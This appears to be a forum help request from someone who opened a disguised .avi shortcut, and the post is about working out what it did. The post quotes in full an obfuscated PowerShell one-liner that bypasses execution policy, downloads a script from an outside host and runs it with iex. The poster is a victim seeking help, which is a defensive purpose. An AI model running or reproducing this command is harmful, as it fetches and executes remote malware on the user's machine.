I accidentally clicked a avi file that was actually a shortcut that executed a powerscript command that downloaded something, but I'm not sure what it did. This is the command and the string it downloaded.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -eXec ByP (('I'+'EX(Ne'+'w-Object '+'S'+'yst'+'em'+'.NET.WebC'+'l'+'ien'+'t).Down'+'l'+'oadstring'+'(f0ghttp:'+'//kli'+'s.icu/'+'f0'+'G)') -CrEplACE 'f0G',[cHar]39)| iex
I can gather it had internet explorer download a string and execute it. I copy and pasted the string from http://klis.icu/1 here.
1.txt
I immediately disconnected the internet and ran a virus scan, but nothing returned. I'm not sure what to do next. Thanks for any assistance!